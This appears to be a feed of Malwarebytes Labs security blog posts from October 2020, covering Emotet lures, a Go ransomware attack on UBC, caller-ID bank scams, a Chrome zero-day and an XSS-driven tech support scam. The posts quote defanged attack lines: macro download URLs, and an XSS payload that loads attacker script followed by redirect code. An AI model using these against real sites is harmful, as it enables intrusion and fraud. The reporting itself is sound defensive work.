Malware Bytes

New Emotet delivery method spotted during downward detection trend

Malware Bytes Security - Wed, 10/28/2020 - 5:29pm

Emotet, one of cybersecurity’s most-feared malware threats, got a superficial facelift this week, hiding itself within a fake Microsoft Office request that asks users to update Microsoft Word so that they can take advantage of new features.

This revamped presentation could point to internal efforts by threat actors to increase Emotet’s hit rate—a possibility supported by Malwarebytes telemetry measured in the last few months.

Emotet spikes amid downward trend

Since August 1, Malwarebytes has detected repeated weekly spikes in Emotet detections, with an August peak of roughly 1,800 detections in just one day. Those frequent spikes betray the malware’s broader activity though—a slow and steady trend downwards, from an average of about 800 detections in early August to an average of about 600 detections by mid-October.

Recent detection activity for Emotet from early August to mid-October

Caught by Malwarebytes on October 19, Emotet’s new delivery method attempts to trick victims into thinking that they’ve received an update to Microsoft Word. The new template, shown below, includes the following text:

“Upgrade your edition of Microsoft Word

Upgrading your edition will add new features to Microsoft Word.

Please, click Enable Editing and then click Enable Content.”

If users follow these dangerous instructions, they will actually enable the malicious macros that are embedded into the “update request” itself, which will then be used as the primary vector to infect the machine with Emotet.

Emotet’s latest delivery mechanism is a fraudulent Microsoft Word update request

Malwarebytes protects users from Emotet and its latest trick, as shown below.

Malwarebytes recognizes and protects users from Emotet

For those without cybersecurity protection, this new delivery method may appear frightening, and in a way, yes, it is. But when compared to Emotet’s stealthy developments in recent years, this latest switch-up is rather ordinary.

In 2018, the cybersecurity industry spotted Emotet being spread through enormous volumes of email spam, in which potential victims received malicious email attachments supposedly containing information about “outstanding payments” and other invoices. In 2019, we spotted a botnet coming back to life to push out Emotet, this time utilizing refined spearphishing techniques. Just weeks later, we found that threat actors were luring victims through the release of former NSA defense contractor Edward Snowden’s book. And this year, Bleeping Computer reported that threat actors had managed to train the Emotet botnet to steal legitimate email attachments and to then include those attachments amongst other, malicious attachments as a way to legitimize them.

Threat actors have gone to such great lengths to deliver Emotet because of its destructive capabilities. Though the malware began as a simple banking Trojan to steal sensitive and private information, today it is often used in tandem to deliver other banking Trojans, like TrickBot, that can steal financial information and banking logins. This attack chain doesn’t stop here, though, as threat actors also use Emotet and Trickbot to deliver the ransomware Ryuk.

Compounding the danger to an organization is Emotet’s ability to spread itself through a network. Once this malware has taken root inside a network, it has derailed countless consumers, businesses, and even entire cities. In fact, according to the US Cybersecurity and Infrastructure Security Agency, governments have paid up to $1 million to remediate an Emotet attack.

How to protect your business from Emotet

Our advice to protect against Emotet remains the same. Users should look out for phishing emails, spam emails, and anything that includes attachments—even emails that appear to come from known contacts or colleagues.

For users who do make that risky click, the best defense is a cybersecurity solution that you’ve already got running. Remember, the best defense to an Emotet infection is to make sure it never happens in the first place. That requires constant protection, not just after-the-fact response.

The post New Emotet delivery method spotted during downward detection trend appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Fake COVID-19 survey hides ransomware in Canadian university attack

Malware Bytes Security - Wed, 10/28/2020 - 11:00am

This post was authored by Jérôme Segura with contributions from Hossein Jazi, Hasherezade and Marcelo Rivero.

In recent weeks, we’ve observed a number of phishing attacks against universities worldwide which we attributed to the Silent Librarian APT group. On October 19, we identified a new phishing document targeting staff at the University of British Columbia (UBC) with a fake COVID-19 survey.

However, this attack and motives are different than the ones previously documented. The survey is a malicious Word document whose purpose is to download ransomware and extort victims to recover their encrypted files.

On discovery, we got in touch with UBC to report our findings. They were already aware of this phishing campaign and were kind enough to share more information with us about the incident. Ultimately, this attack was not successful due to the rapid response of the UBC cybersecurity team.

Mandatory COVID-19 survey distributed to targeted recipients

The attacker created an email address with the service in order to register accounts with and DropBox. Rather than directly sending the fake survey via email, the attacker uploaded the document onto Box and DropBox and used the share functionality from these platforms to distribute it.

This was probably done to evade spam and phishing filters that would have blocked messages coming from a newly registered email address with a low reputation. In comparison, it is much more difficult to detect spam from file sharing services without creating a number of false positives.

The attacker claimed to be a manager and added the following comment in the file sharing invitation (shared with us by UBC):

Good evening gals and guys! [redacted] here, [redacted] manager for [redacted]. I am sharing a mandatory survey with you that must be completed by Monday. It asks a few questions about how you believe our company responded to the pandemic regarding remote working and much more. Please fill it out ASAP!

You will also find a form at the end that you can fill out if you need any necessities! Necessities include: gloves, hand sanitizer, masks, or disinfectant spray. We will be providing it to those employees who fill out the form for free! Simply sign your initials and put what you need as well as the quantity! In advance, we appreciate your feedback! Thanks all! Stay strong! I understand times like this can be difficult!

Figure 1: The phishing document targeting UBC staff

According to UBC, less than a hundred people within a specific department received the link to access the shared document. A Box or Dropbox account was required in order to download the file since it was shared privately, instead of publicly. This may have been an effort to evade detection or perhaps the attacker expected the target organization to already be using one of these two sharing services.

Phishing document analysis

The phishing document uses template injection to download and execute a remote template (template.dotm) weaponized with a malicious macro. That file was uploaded to a free code hosting website (

Figure 2: Template injection and a view of the macro

When the macro is executed, it does the following:

  • Gets the %APPDATA% directory
  • Creates the Byxor directory in %APPDATA%
  • Downloads a file from the following url and writes it as Polisen.exe
  • notabug[.]org/Microsoft-Office/Word-Templates/raw/master/lamnarmighar/polisen.exe
  • Downloads a file from the following url and writes it as Killar.exe
  • notabug[.]org/Microsoft-Office/Word-Templates/raw/master/lamnarmighar/killar.exe
  • Calls shell function to execute killar.exe
  • Checks the output of shell function and whether it was successful (return value would be task Id of executed application)
    • If successful, it sends a GET http request to:
    • If it isn’t successful, it sends a GET http request to:
Figure 3: Code repository containing ransomware payloads

We were able to identify four other variants of the remote templates and payloads. In some of the folders, we found several artifacts using Swedish words, which could indicate that the threat actor is familiar with the language.

Opening the phishing document will trigger a notification via the website. Typically, people use this type of service to get alerted for a particular event.

This can be very useful as an early warning notification system that an intruder has had access to a network. In this case, the attacker is probably interested in how many people opened the document and perhaps where they are from.

Vaggen ransomware

After being deployed, the ransomware starts encrypting the user’s files and adding the .VAGGEN extension to them. When the encryption process is finished, it drops a ransom note on the Desktop, demanding a payment equivalent to 80 USD to be paid in Bitcoin.

Figure 4: Ransom note

The ransomware appears to be coded from scratch and is a relatively straightforward application written in Go which starts with the function denoted as ‘main_main’.

Other functions belonging to the main application have obfuscated names, such as: main_FOLOJVAG, main_DUVETVAD, main_ELDBJORT, main_HIDDENBERRIES, main_LAMNARDETTA, main_SPRINGA.

main_LAMNARDETTA -> main_enumDir main_ELDBJORT -> main_encryptFile main_SPRINGA -> main_encryptAndRename main_FOLOJVAG -> main_runCommands main_DUVETVAD -> main_dropFile main_HIDDENBERRIES -> main_xteaDecryptAndWriteToFile

A full list of the functions, along with their RVAs can be found here.

Figure 5: File enumeration

Some of the strings used by the malware (i.e. the content of the ransom note) are encrypted with the help of XXTEA (using library: xxtea-go). Encrypted chunks are first decoded from Base64. The XXTEA key is hardcoded (“STALKER”). At the end of the execution, the ransom note is dropped on the Desktop.

Encrypting and renaming of the files is deployed as the callback of the standard Golang function: path.filepath.Walk.

Figure 6: Callback function to encrypt and rename

Files are encrypted with AES-256 (32 byte long key) in GCM mode.

Figure 7: AES-256 cipher

The encryption algorithm is similar to the one demonstrated here. Using a hardcoded key and 12 bytes long nonce, generated by CryptGenRandom. The file content is encrypted with the help of the gcm.Seal function.

Figure 8: Encryption routine

The content of the output file (with .VAGGEN extension) contains:

  • the 12 bytes long nonce
  • the encrypted content
  • the 16 byte long GCM Tag
Figure 9: Highlighted part contains encrypted content

The hardcoded key “du_tar_mitt_hjart_mina_pengarna0” found inside the malware code is Swedish for “you take my heart my money”. Using this key, we can easily decrypt the content.

Figure 10: Encryption key found inside the code

With all these elements, we can actually recover encrypted files without having to pay the ransom. It appears that the malware author has not received any payment so far at this Bitcoin address.

Figure 11: Bitcoin address showing no payment Unusually low ransom amount

Based on our findings, we believe this is not a sophisticated threat actor, nor affiliated with any of the big ransomware gangs such as Ryuk. The ransom amount is unusually low, and unlike professional ransomware, this attack can be recovered from fairly easy.

However, the phishing attack was well conceived and the template looks well designed, with a nice touch of adding canary tokens. It’s unclear at this point if the University of British Columbia was the sole target or not.

Crawling additional repositories created by the threat actor, we found other Word template files that have used a very similar macro to drop a coin miner. This casts more questions about the motivation behind this phishing attack.

We are grateful for the information shared with us by the University of British Columbia. This allowed us to paint a better picture of this attack and understand who the targets were.

Malwarebytes customers were already protected thanks to our signature-less Anti-Exploit layer.

Figure 12: Phishing document blocked by Malwarebytes Endpoint Protection IOCs






The post Fake COVID-19 survey hides ransomware in Canadian university attack appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Scammers are spoofing bank phone numbers to rob victims

Malware Bytes Security - Wed, 10/28/2020 - 10:06am

It can be a very convincing trick…

“You can check the number in your display online sir. You’ll see I’m really calling from your bank.”

That is, of course, if you are unaware that phone numbers can be spoofed. Then again, they wouldn’t be successful scammers if they weren’t convincing. If you suggest calling them back, they’ll tell you it’s impossible to call their extension directly and you would have to go through the operator in the head office. Which could take a while and because of the urgency that is not really an option now, is it?

What is spoofing?

The definition of spoofing is: to display characteristics that do not belong to you, in order to assume a false identity. We’ve talked about email spoofing in the past, but in this case we’re talking about caller ID spoofing. Caller ID spoofing is when someone calling your phone deliberately falsifies the information transmitted to your caller ID display to disguise their identity.

Normally your display indicates the phone number and name associated with the line used to call you. But there are services that allow you to display any spoofed caller ID. Some Voice over IP (VoIP) providers simply allow the user to configure their displayed number as part of the configuration page on the provider’s web interface.

How does this scam pan out?

The scammer calls the victim while spoofing a phone number that belongs to the bank. And the scammer comes prepared with enough knowledge about the victim’s bank account to take away the last shreds of doubt. They tell the victim that they have noticed unusual activity on the victim’s bank account and urgently advise them to put their money in a different account.

If the victim indicates that they only have the one account, the scammer offers them a so-called “vault account” of the bank. The scammer explains that such an account is a safe place for their funds. Their money may be unavailable in such an account for a few days, but that is better than getting robbed blind isn’t it? If the victim starts asking a lot of questions, the scammer will say that there is no time to waste because of the danger of losing everything to an unknown entity. Of course, the “vault account” belongs to the scammer and the whole theatrics are designed to get the victim to transfer their belongings into that account.

Extra information from phishing

What makes this extra successful is that the scammers really come to the call prepared. They can tell you how much you have in your account and who received your latest payments. There are a few theories about how the scammers can obtain that information. Some even go as far to claim that they must have someone on the inside. This would explain a lot, but some victims admitted having received a phishing mail not too far before the call.

If the victims have clicked the link in that mail and have logged in to the phisher’s fake bank website, this not only explains how the scammers obtained the information, it also adds credibility to the story of the scammer on the phone. After all, the phishing attempt could have resulted in unauthorized access. What gives the “insider” scenario some extra credibility is the fact that some victims had recently raised their transaction limits because they needed to make some large payments.

Phishing sites mirror the bank site, and the phisher can follow the input of the victim into the real bank site. This allows them to have a look at the account details after getting logged in and equips them with the information they can use during the phone call.

Banking security measures

If the information the scammer has about the victim’s account stems from a phishing attempt and the bank uses a 2FA login method, then the login information will grow stale rather quickly. A successful phish allows the scammer to log in, but usually only once. They can look around and gather intel to prepare their call. Any subsequent action like making a payment or changing the 2FA settings would have to be authorized separately, and such a request would likely make the victim suspicious.

What investigators from a Dutch consumer television show found out is that some banks are more likely than others to be targeted. The investigators suspect that customers of banks that use a card reader to scan QR codes to authorize logins and payments are less vulnerable than those that send text messages. This could be because it is more difficult to mimic the QR codes on the bank phishing site than it is to create an input field for the verification code.

Another fail-safe that the scammer will try to circumvent, if necessary, are the transaction limits that are in place by default for some banks. These are often limited to rather small amounts and customers will have to raise the limit if they want to make larger payments. When the bank asks you to raise this limit instead of the other way around that should be a red flag. Remember that they can do it for you in case of a real emergency.

The aftermath of a spoofing attack

The scammers will try and make sure that the victim will not immediately realize that they have been had, so the scammers can make the money disappear from the target account in order to stop the payments being reversed.

With some banks you will have insurance against banking fraud, but other banks will say the victim transferred the funds themselves and will accept no responsibility for the loss. In most countries you are protected by law against fraudulent payments under certain conditions. One of these conditions can generally be described as “the customer should not be careless”, and a customer could be seen as careless if they gave away their login credentials. Whether entering those credentials on a bank phishing site that looks exactly like the one that belongs to the bank is a careless act is up for debate it seems.

So, in a worst case scenario you would not only feel embarrassed because you fell for the scam, you could also be labelled careless and lose the money in your account.

The future of caller ID spoofing

Caller ID spoofing has been causing problems since 2004 when a service was opened to allow spoofed calls to be placed from a web interface. In 2018, we mentioned one method of caller ID spoofing called “neighbor spoofing”. Neighbor spoofing was a popular method among cold callers using the same area code and telephone prefix of the person being called. Caller ID spoofing is generally legal in the United States unless done “with the intent to defraud, cause harm, or wrongfully obtain anything of value”. In 2019 the TRACED Act, the first federal law designed to curb unwanted robocalls was signed.


IN GENERAL.—Not later than 1 year after the date of the enactment of this Act, and consistent with the call authentication frameworks under section 4, the Com15 mission shall initiate a rulemaking to help protect a subscriber from receiving unwanted calls or text messages from a caller using an unauthenticated number.

Stirred, not shaken

One helpful tool in setting up such protection is the STIR/SHAKEN framework which is a caller ID authentication and verification measure. STIR and SHAKEN are acronyms for the Secure Telephone Identity Revisited (STIR) and Signature-based Handling of Asserted Information Using toKENs (SHAKEN) standards. STIR/SHAKEN digitally validates the handoff of phone calls passing through the complex web of networks, allowing the phone company of the consumer receiving the call to verify that a call is in fact from the number displayed on Caller ID. The Federal Communications Commission (FCC) is leading the push for industry adoption of these standards to help consumers as quickly as possible.

If and when other countries decide to do more than just make caller ID spoofing illegal, preferably by implementing and adhering to the STIR/SHAKEN framework, this will make consumers around the world just that bit safer and make the scam we discussed a lot harder to pull off.

In the meanwhile, stay safe everyone!

The post Scammers are spoofing bank phone numbers to rob victims appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Keeping ransomware cash away from your business

Malware Bytes Security - Tue, 10/27/2020 - 1:00pm

A ransomware gang has made headlines for donating a big chunk of stolen funds to two charities. Two separate donations given to Children International and The Water Project rang tills to the tune of $10,000 each. Their reason was that they’re targeting “only large profitable corporations, we think it’s fair that some of the money they’ve paid will go to charity. No matter how bad you think our work is, we are pleased to know that we helped change someone’s life.”

This has raised several questions outside the usual “Is it morally right to pay a ransom” debate. It’s a whole new world of “Is it morally acceptable for ransomware authors to donate ill-gotten gains to charities, Robin Hood style?”

“Steals from the rich, gives to the poor?”

In theory it sounds sort of nice. As the malware slingers suggest, some good is coming from it somewhere along the line.

However, the reality outside the theory is rather different. Replace “stolen funds donated from ransomware authors” with “stolen funds donated from criminal gangs”. It suddenly sounds a lot less abstract and cyberpunk and a lot more like somebody is going to jail.

This isn’t “just” a risk to charities, either – any organisation could get into trouble from similar dealings. If malware authors are splashing the cash, it’s a danger to everyone. People and organisations drop links to their Venmo accounts, or their tip jars, all the time. With so many ways to donate, it’s never been more difficult to ensure your funding is legit. Phone, text, online, money in an envelope. Perhaps from your own country, or international donations, a speedy online processor, or even Bitcoin. The possibilities are endless.

When the Robin Hood mindset spreads…

Are the ransomware authors genuine in their desire to help people less fortunate than themselves? Or is it a bad cover story to justify breaking into servers and make off with some cash? It doesn’t help the recipients at all. We’re talking serious ramifications for the charity trustees with potential criminal charges waiting in the wings. The charity itself could suddenly discover it sits on very perilous ground indeed.

There are few things more damaging to a business than losing trust from the general public. That’s especially the case where your business model is asking them for money.

If stolen cash donations to assuage guilt takes hold, we could find ransomware authors passing cash outside the charity realm. Is your business an SME with no chance of going head to head with the big players? No worries, your friendly neighbourhood ransomware author is here to help. Perhaps they start playing favourites. Suddenly, the boss of that struggling firm is now asking the ransomware authors for a cut.

In a few short steps, we’re moving from “Giving some money to charities is okay even if it’s stolen because they need it” to “Oh no, Uncle Paul’s set up a money laundering syndicate and he’s supposed to be selling fax machines”.

Many pieces of advice for UK charities are good suggestions for businesses generally. To steer clear of dubious payments, you could stand to pick up a few tips from their selection of guidance. By showing how regulated funds are in the charity industry, you’ll see how serious it is everywhere else as well.

Charitable basics

In the UK, the Charity Commision is a non-ministerial Government department. Those departments typically make things work by regulation, theoretically free of politicisation. Government with a small “g”, perhaps.

They regulate charities in England and Wales, advise on scams, provide a list of registered charities, and much more. They also provide a significant volume of advice on ensuring charity activities are above board. There’s lots of ways your charity (and, by extension, unrelated business) can get into trouble where bogus donations are concerned.

Remember what I said about ransomware Robin Hood donations spreading from charities to lots of other donation/tipping mechanisms? It’s time to take a trip to the cleaners, because money laundering is the big threat here. It means little whether it’s done via traditional means or malware shenanigans.

Laundering for fun and profit

“Laundering” cash means taking unclean, dirty money and rinsing the badness out. If I turn up at the bank with a mysterious haul of one million dollars, it’s going to look odd. If I scatter it across multiple banks, it looks much better. Coming up with ways to ensure the banks can’t spot all the bills came from heist X or Y, evading whatever technology/system is in place, is where we’re cooking with gas.

There are all sorts of laundering techniques, and all businesses need to be careful. Charities are particularly at risk, because they’re essentially a large bowl with a “please deposit money” sign above it. If you’re an individual with a Gofundme, do you know where all your donations are coming from? That everyone donating is legit? Of course you don’t. Now consider that you’re a large, international organisation with many ways to donate. Consider your daily transaction volumes. Your own business almost certainly has the same problems facing it, even if you haven’t considered until now in terms quite so stark. Scary, right?

Ransomware authors are potentially doing the charities a favour by being vocal. Otherwise, they’d have ten grand rattling around in their coffers sourced from an unwilling company struck by a criminal attack.

“That’s not laundering though, is it?”

Not yet, but giving the money to a charity could be the first step. Money doesn’t have to go to banks. It can be dropped into shell organisations, thrown into the gambling area, placed into businesses known as “fronts”. You could also give it to a legitimate charity, who receives large donations regularly, and then try to reclaim the cash. Perhaps the fraudsters begin a phishing campaign for financial details and the cycle begins again.

Maybe they have someone working on the inside at their chosen charity, or (worse) perhaps the charity itself is bogus. They could even claim they’d donated too much money, or the entire donation was an accident and would like their money back.

However you stack it up, this should be a major concern for any organisation. Normalising the movement of stolen money can only end poorly.

Freedom fighter or terrorist?

Even without the laundering aspect, simply receiving money from a malware group with ties to terrorism will likely end up being disastrous. To stress how serious this is [PDF], involvement in laundering in the UK is an offence prohibited under various Acts of Parliament and terrorism is also a massive no-no [PDF, Page 15]:

  • Proceeds of Crime Act 2002
  • Terrorism act 2000
  • Anti-Terrorist crime and security act 2001
  • Counter-Terrorism Act 2008

You don’t need to be a charity to want to avoid getting caught up in one of those potential headaches.

Strategies for dealing with fraud and financial crime

The previously mentioned Charity Commision documents for dealing with monetary fraud [PDF] are, as has been mentioned, very good [PDF] and almost certainly usable at your current organisation. In no particular order, here are some of the best. Regular readers will note many of these are staple pieces of advice on the Labs Blog, and there are many more on the linked documents. Not all of them will be applicable to your business, but they’re good things to keep in mind.

  1. Design appropriate internal financial controls, ensuring funds are properly accounted for, based on risks related to type, size, and activities.
  2. Perform regular audits of security protocols, make multiple people responsible for various stages of fund transfers/authorisation, and deploy 2FA for online components.
  3. Keep financial records for receipt/use of funds, check and verify both domestic and international transactions.
  4. Never pre-sign blank cheques, it’s a clear in-road to fraud.
  5. Consider what level of due diligence, monitoring, and verification of use of funds if required to meet your legal duties regarding safe flow of funds.

There’s also guidance on moving/receiving funds internationally [PDF] with useful information on types of banking, transfer, how to report incidents, and a checklist of potential concerns [PDF] when receiving money from overseas. Given the likelihood of ransomware authors donating from a country outside of your own, these are useful things to be aware of. Many online payment processors will flag potential fraud without you having to do anything, and it’s worth digging into the nitty-gritty before signing up to a merchant system.

A deal you’ll want no part of

As you may have gathered, one of the biggest issues here is that of the insider threat. Whether you’re a charity or a seller of hardware and software, the danger inside your walls can be fatal. Security is a multi-layered entity. Checks and balances required at digital, financial, and real-world levels keep things running smoothly. That’s why we have to do things like lock down printers, or restrict access to papers used for money transfers, or secure fax machines behind ID accessed security doors.

There’s always another problem to consider and then address, and securing your real world assets is just as crucial as your online security. When ransomware authors shift parts of their model from online to off, so too do we need to think about more ways to keep ourselves out of harm’s way.

In my opinion, there’s nothing helpful about handing stolen money to charities or anyone else. The moral arguments which exist are eclipsed by the legal ramifications. Malware authors are better served “helping” organisations by keeping their profits far, far away from legitimate businesses.

The post Keeping ransomware cash away from your business appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Lock and Code S1Ep18: Finding consumer value in Cybersecurity Awareness Month with Jamie Court

Malware Bytes Security - Mon, 10/26/2020 - 11:30am

This week on Lock and Code, we discuss the top security headlines generated right here on Labs and around the Internet. In addition, we talk to Jamie Court, president of the non-profit advocacy group Consumer Watchdog, about the consumer value in Cybersecurity Awareness Month.

Launched initially as a joint effort between government and industry, this once-a-year awareness campaign is meant to give the American public simple tips to stay cybersecure, almost like a modern version of telling folks to replace the batteries in their smoke alarms.

Over time, participation in Cybersecurity Awareness Month has grown. Every October, employers now roll out renewed cybersecurity trainings for employees. Maybe, this month, your employer has deployed a phishing email test. Maybe they’ve developed a training session on two factor authentication. Or maybe you’ve gone through exercises about creating strong passwords.

But what about all the consumers out there who don’t work for an employer that takes Cybersecurity Awareness Month seriously? Where is the value in this month for them?

Tune in to hear about the consumer value of Cybersecurity Awareness Month, including who is going to bat for the consumer, what kind of information gets released every year, and what consumers should know about, specifically, smart cars on the latest episode of Lock and Code, with host David Ruiz.

You can also find us on the Apple iTunes storeGoogle Play Music, and Spotify, plus whatever preferred podcast platform you use.

We cover our own research on: Other cybersecurity news:

Stay safe, everyone!

The post Lock and Code S1Ep18: Finding consumer value in Cybersecurity Awareness Month with Jamie Court appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Google patches actively exploited zero-day bug that affects Chrome users

Malware Bytes Security - Mon, 10/26/2020 - 6:58am

Google has recently released Chrome version 86.0.4240.111 to patch several holes. One is for a zero-day flaw – that means a vulnerability that is being actively exploited in the wild.

The flaw, which is officially designated as CVE-2020-15999, occurs in the way FreeType handles PNG images embedded in fonts using the Load_SBit_Png function. FreeType is a popular text rendering library that Chrome uses. According to the bug report filed by Sergei Glazunov, a security researcher from Google’s very own Project Zero team, the function has the following tasks:

1) Obtains the image width and height from the header as 32-bit integers.
2) Truncates the obtained values to 16 bit and stores them in a ‘TT_SBit_Metrics’ structure.
3) Uses the truncated values to calculate the bitmap size.
4) Allocates the backing store of that size. 5) Passes ‘png_struct’ and the backing store to a libpng function.

Glazunov further explains that since the libpng function uses 32-bit values instead of the truncated 16-bit values, a heap buffer overflow in FreeType could occur if the PNG’s width and/or height exceeds 65535, the highest possible allocated buffer or memory for this type of data. This would result in certain pieces of data being overwritten or corrupted and, overall, the program behaving differently. So, anyone who successfully exploits this bug could either allow remote execution of malicious code in the context of the browser or a complete compromise of the affected system.

Google didn’t further elaborate on how CVE-2020-15999 is being exploited to target its users, or who is possibly behind the exploitation.

Update your Chrome now

Chrome users are advised to update to the current browser version, 86.0.4240.111, to protect themselves from getting exploited. Development teams who use the same FreeType libraries should update to FreeType 2.10.4.

The post Google patches actively exploited zero-day bug that affects Chrome users appeared first on Malwarebytes Labs.

Categories: Malware Bytes

The value of cybersecurity integration for MSPs

Malware Bytes Security - Thu, 10/22/2020 - 11:17am

For modern Managed Service Providers (MSPs), gone are the days of disparate workflows, and that’s really for the best.

Imagine trying to run a successful MSP business today—finding potential customers, procuring new clients, developing purchase orders, managing endpoints, and sending invoices—all without the help of Remote Monitoring and Management (RMM) and Professional Services Automation (PSA) tools. It would be ludicrous.

Why then should MSPs accept that another critical part of their daily workload does not integrate with their current product workstack—cybersecurity?

The short answer is they shouldn’t. With an increasingly complex threat landscape which includes evolving ransomware strategies and trickier phishing scams, MSPs need to be on their A-game. Further, as Malwarebytes Labs showed, medium-sized and enterprise businesses suffered dramatic hits to their cybersecurity postures due to the coronavirus pandemic, and the small businesses that many MSPs protect are likely suffering similar pains

The very nature of the MSP business demands integration. MSPs should ask the same from their cybersecurity solutions, allowing them to streamline their endpoint security practice with automated endpoint detection and deployment, advanced remediation, and simplified administration.

Why integration helps MSPs and their clients

MSPs today have likely been bombarded by the same arguments favoring RMM and PSA software—these products save time and make money. RMM tools mean no more driving to a physical site, no more scheduled check-ins where a client may have zero IT issues or a critical IT issue that only drags a team down for the rest of the day, and no more unreliability. Remotely addressing a client’s needs is a necessary component of today’s workload.

PSAs offer similar benefits in different areas. These tools can take disparate data flows and collate them into one source of truth. They can automate the generation and hand-off of data to prevent any human error from, for instance, an MSP’s marketing team to its sales team. These tools can also take vital billing data and transform it into trustworthy invoices, making sure that the countless hours of hard work get counted. And they can document purchase orders and make them easily accessible to every MSP employee that needs them. These tools can, in effect, remove the silos of chaos.

These benefits are obvious, and they help not just MSPs, but the clients that MSPs protect.

Being able to immediately field an IT request ticket from a client helps that client, increases their satisfaction, and lets them get back to their job more quickly. Automatically compiling service agreements for multiple clients means fewer opportunities for lost details or mistakes.

These things just make sense. But for MSPs, one of the most crucial roles they perform for clients can sometimes fall beyond the scope of most PSAs. That’s cybersecurity.

Benefits of cybersecurity integration

Every expert MSP knows that their job is more than just fixing IT issues as they happen. It’s also helping clients prevent computer issues before they can have a chance to occur. This doesn’t just help the clients, either, but it helps the many MSP tech workers already slammed with daily requests.

For an MSP, the more endpoints it manages that are already protected with a strong cybersecurity solution, the more endpoints that MSP won’t have to worry about, which means the more time that employees can devote full, personalized attention to the clients suffering other computer issues.

Unfortunately, while RMM and PSA tools have been the standard for decades, the integration with cybersecurity software into these tools is more recent. For years now, MSPs have been forced to sometimes go back to the disparate setups that their industry helped solve—logging into multiple applications to manage the same endpoint.

It didn’t make sense more than 10 years ago and it doesn’t make sense today.

MSPs should consider cybersecurity solutions that integrate directly with their PSA and RMM tools to prevent this repeated splintering of a workload.

Further, having an integrated cybersecurity solution can help an MSP better protect its clients. The integration will allow an MSP to more easily recommend that cybersecurity solution for clients when drafting up service agreements, and a protected client is just as important for the client as it is for the MSP helping them.

After all, so much of the job is cybersecurity, and that means protecting an endpoint before an attack hits, not just after.

The right, always-on, integrated cybersecurity solution will protect clients and their endpoints from disruptive ransomware attacks, sneaky phishing scams, unsafe websites injected with harmful code like credit card skimmers, and dangerous attachments sent through malicious emails. And when something does sneak through? MSPs can then easily rely on their RMM and PSA platforms to get a master-level view of what’s gone wrong, addressing and fixing the issue without having to navigate separate applications with potentially different logins, user interfaces, and data export settings.

There’s no reason to go back to disparate workflows. The MSP industry has been there, and it’s rightfully moved beyond it.

It should do the same when picking a cybersecurity solution for both itself and its clients.

The post The value of cybersecurity integration for MSPs appeared first on Malwarebytes Labs.

Categories: Malware Bytes

XSS to TSS: tech support scam campaign abuses cross-site scripting vulnerability

Malware Bytes Security - Wed, 10/21/2020 - 4:41pm

Tech support browser lockers continue to be one of the most common web threats. Not only are they a problem for end users who might end up on the phone with scammers defrauding them of hundreds of dollars, they’ve also caused quite the headache for browser vendors to fix.

Browser lockers are only one element of a bigger plan to redirect traffic from certain sites, typically via malvertising chains from adult portals or sites that offer pirated content.

There’s a slightly different campaign that we’ve been tracking for several weeks due to its high volume. Threat actors are relying on Facebook to distribute malicious links that ultimately redirect to a browser locker page. Their approach is interesting because it involves a few layers of deception including abusing a cross-site scripting vulnerability (XSS) on a popular website.

Malicious links shared via Facebook

Links posted onto social media platforms should always be scrutinized as they are a commonly abused way for scammers and malware authors to redirect users onto undesirable content. For this reason, you might see a disclaimer when you click on a link, warning you that it could be spam or dangerous.

The campaign we looked at appears to exclusively use links posted on Facebook, which is fairly unusual considering that traditionally tech support scams are spread via malvertising. Facebook displays a warning for the user to confirm that they want to follow the link. In this case, the destination is further obscured by the fact that the link is a shortened URL.

The threat actor is using the URL shortener to craft the first stage of redirection. In total, we catalogued 50 different links (see IOCs) over a 3 month period, suggesting that there is regular rotation to avoid blacklisting.

Although we do not know exactly how these links are being shared with Facebook users, we have some indication that certain games (i.e. apps on the Facebook site) may help to spread them. Because this is out of our reach, we have alerted Facebook in case it is able to identify the exact source.

Abuse of cross-site scripting vulnerability

The URL triggers the second stage redirection that involves a Peruvian website (rpp[.]pe) which contains a cross-site scripting vulnerability (XSS) that allows for an open redirect. Threat actors love to abuse open redirects as it gives some legitimacy to the URL they send victims. In this instance, the news site is perfectly legitimate and draws over 23 million visits a month.

In this case, we can see that code is being passed into the URL in order to load external JavaScript code from buddhosi[.]com, a malicious domain controlled by the attackers.

rpp[.]pe/buscar?q=hoy%3Cscript%20src=%27https://buddhosi[.]com/210c/ ?zg1lx5u0.js%27%3E%3C/script%3E&fbclid={removed}

The JavaScript in turn creates the redirection to the browlock landing page by using the replace() method:

top.location.replace('https://BernetteJudeTews[.]club/home/anette/? nr=855-472-1832&';

Besides redirecting users to other sites, an attacker could exploit the XSS to rewrite the current page into anything they like.

We reported this issue to Grupo RPP but have not heard back at the time of publication.

Cloaking domains

The open redirect trick is something that was added later on in the campaign. Originally the threat actors were directly loading decoy cloaking domains. Their purpose is to check incoming traffic and only serve the malicious content to legitimate victims. This is a very common practice and we’ve seen this before, for example with fake recipe sites.

We documented 6 domains involved in this third stage of the redirection process:


Server-side checks ensure visitors meet the requirements, namely a legitimate US residential IP address, and custom JavaScript is then served (an empty JavaScript is returned for non-interesting traffic).

The code (shared above) loads the browser locker landing page to one of the disposable and randomly-named domains using one of the newer TLDs:


We collected close to 500 such domains (see IOCs) during a period of a few months, but there are likely many more.

Browser locker at the end of the chain

The browser locker fingerprints the user to display the appropriate version for their browser. It shows an animation mimicking a scan of current system files and threatens to delete the hard drive after five minutes.

Of course this is all fake, but it’s convincing enough that some people will call the toll-free number for assistance. In all, we collected almost 40 different phone numbers (see IOCs) but this is not an exhaustive list.

This is where it ends for the traffic scheme, but where it truly begins for the tech support scam. We did not make contact with the call centre, but we know very well how this next part plays out.

Malwarebytes users were already protected against this browser locker, thanks to our Browser Guard web protection. We will continue to track and report this campaign.

Thanks to Marcelo Rivero for helping with the replay and Manuel Caballero for his insights on the XSS.

Indicators of Compromise

Bitly links





Cloaking domains


Browlock domains




Phone numbers





The post XSS to TSS: tech support scam campaign abuses cross-site scripting vulnerability appeared first on Malwarebytes Labs.

Categories: Malware Bytes

Brute force attacks increase due to more open RDP ports

Malware Bytes Security - Tue, 10/20/2020 - 8:00am

While leaving your back door open while you are working from home may be something you do without giving it a second thought, having unnecessary ports open on your computer is a security risk that is sometimes underestimated. That’s because an open port can be subject to brute force attacks.

What are brute force attacks?

A brute force attack is where an attacker tries every way he can think of to get in. Including throwing the kitchen sink at it. In cases where the method they are trying is to get logged in to your system, they will try endless combinations of usernames and passwords until a combination works.

